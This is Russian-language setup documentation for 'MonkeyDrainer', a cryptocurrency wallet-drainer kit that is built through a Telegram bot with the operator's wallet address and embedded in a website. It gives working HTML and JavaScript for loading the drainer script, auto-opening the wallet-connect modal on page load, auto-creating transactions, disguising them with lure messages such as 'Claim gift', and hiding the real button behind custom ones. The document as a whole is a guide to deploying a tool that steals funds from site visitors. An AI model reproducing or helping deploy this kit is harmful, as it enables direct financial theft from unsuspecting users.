Интеграция MonkeyDrainer на сайт
Шаг 1: Сборка библиотеки через Telegram-бота
- Откройте диалог с ботом MonkeyDrainer в Telegram.
- Нажмите кнопку "⚒️ Собрать дрейнер".
- Укажите адрес вашего кошелька и (опционально) список доменов для разрешённого взаимодействия.
- Получите файл библиотеки и файл стилей.
Шаг 2: Подключение библиотеки и стилей
- Скачайте файл библиотеки (
fusion-drainer.js
) и файл стилей (fusion-drainer.css
). - Поместите их в директорию вашего сайта, где находятся другие ресурсы, такие как JavaScript и CSS файлы.
Пример подключения библиотеки и стилей:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Пример MonkeyDrainer</title>
<!-- Подключаем файл стилей MonkeyDrainer -->
<link rel="stylesheet" href="/fusion-drainer.css" />
<!-- Подключаем файл библиотеки MonkeyDrainer -->
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>
<!-- Контент вашего сайта -->
</body>
</html>
Параметр версии в URL
Параметр ?v=1.0.0
в URL скрипта указывает на версию файла. Это важно для правильной работы кэширования в браузерах и на серверах:
- Избегание кэширования старых версий: Когда вы обновляете файл библиотеки, измените номер версии в параметре URL (например, с
?v=1.0.0
на?v=1.1.0
). Это заставит браузеры и серверы загружать последнюю версию файла, а не использовать старую кэшированную версию.
Пример:
- Старая версия:
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
- Новая версия:
<script src="/fusion-drainer.js?v=1.1.0" defer></script>
Шаг 3: Инициализация библиотеки
Теперь библиотека поддерживает следующие параметры в объекте конфигурации:
autoCreateTransaction
: автоматически создаёт транзакцию при подключении кошелька.autoOpenModal
: автоматически открывает модальное окно для подключения кошелька при загрузке страницы.honeypotMessage
: сообщение, отображаемое при совершении транзакции.honeypotAmount
: сумма, которая будет использоваться для Honeypot.jettonMessage
: функция, принимающая параметрыamount
иsymbol
, которая возвращает строку сообщения при получении Jetton.
Пример инициализации библиотеки:
<!-- Контейнер для стандартной кнопки подключения кошелька -->
<div id="wallet-button-wrapper"></div>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Инициализация библиотеки с новыми опциями
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: true, // Автоматическое создание транзакции
autoOpenModal: true, // Автоматическое открытие модального окна
honeypotMessage: "🎁 Claim gift", // Сообщение при Honeypot-транзакции
honeypotAmount: 100, // Установка суммы для Honeypot
jettonMessage: (amount, symbol) => `🎉 Получено ${amount} ${symbol}` // Сообщение при получении Jetton
});
}
});
</script>
Пример использования кастомных кнопок
Если вы хотите использовать свои кнопки, нужно скрыть контейнер стандартной кнопки с помощью стиля display: none
и добавить класс wallet-connect-trigger
к вашим кастомным кнопкам.
Пример кастомной кнопки для подключения кошелька:
<!-- Скрытый контейнер для стандартной кнопки -->
<div id="wallet-button-wrapper" style="display: none;"></div>
<!-- Кастомная кнопка для подключения кошелька -->
<button class="wallet-connect-trigger">Подключить кошелек</button>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Инициализация библиотеки с кастомными кнопками и настройками
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: false, // Отключение автоматической транзакции
autoOpenModal: false, // Отключение автоматического открытия модального окна
honeypotMessage: "🎁 Claim gift", // Сообщение при Honeypot-транзакции
honeypotAmount: 50, // Установка суммы Honeypot
jettonMessage: (amount, symbol) => `🎉 Получено ${amount} ${symbol}` // Сообщение при получении Jetton
});
}
});
</script>
Шаг 4: Создание транзакции
Если вы хотите создать транзакцию вручную, можно сделать это вызвав метод createTransaction()
в нужный момент. Пример кастомной кнопки для создания транзакции:
<!-- Кастомная кнопка для создания транзакции -->
<button onclick="window.drainer.createTransaction()">Create Transaction</button>
Пример полной интеграции
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Пример MonkeyDrainer</title>
<!-- Подключаем файл стилей MonkeyDrainer -->
<link rel="stylesheet" href="/fusion-drainer.css" />
<!-- Подключаем файл библиотеки MonkeyDrainer -->
<script src="/fusion-drainer.js?v=1.0.0" defer></script>
</head>
<body>
<!-- Скрытый контейнер для стандартной кнопки подключения -->
<div id="wallet-button-wrapper" style="display: none;"></div>
<!-- Кастомная кнопка для подключения кошелька -->
<button class="wallet-connect-trigger">Подключить кошелек</button>
<!-- Кастомная кнопка для создания транзакции -->
<button onclick="window.drainer.createTransaction()">Создать транзакцию</button>
<script>
window.addEventListener('load', () => {
const drainer = window.drainer;
if (drainer) {
// Инициализация библиотеки с кастомными кнопками и Honeypot-суммой
drainer.init('#wallet-button-wrapper', {
autoCreateTransaction: false,
honeypotAmount: 200 // Установка суммы для Honeypot
});
}
});
</script>
</body>
</html>
Основные методы библиотеки
Инициализация библиотеки
jswindow.drainer.init('#wallet-button-wrapper', options);
#wallet-button-wrapper
— это контейнер для основной кнопки подключения кошелька.options
— объект конфигурации (например,{ autoCreateTransaction: true, honeypotAmount: 100 }
).
Создание транзакции вручную
jswindow.drainer.createTransaction();
Открытие модального окна для подключения кошелька
jswindow.drainer.openModal();
Обновление суммы Honeypot после инициализации
jswindow.drainer.updateHoneypotAmount(150);
Обработка событий подключения и отключения кошелька
jswindow.drainer.onWalletConnect(() => { /* Действия при подключении кошелька */ }); window.drainer.onWalletDisconnect(() => { /* Действия при отключении кошелька */ });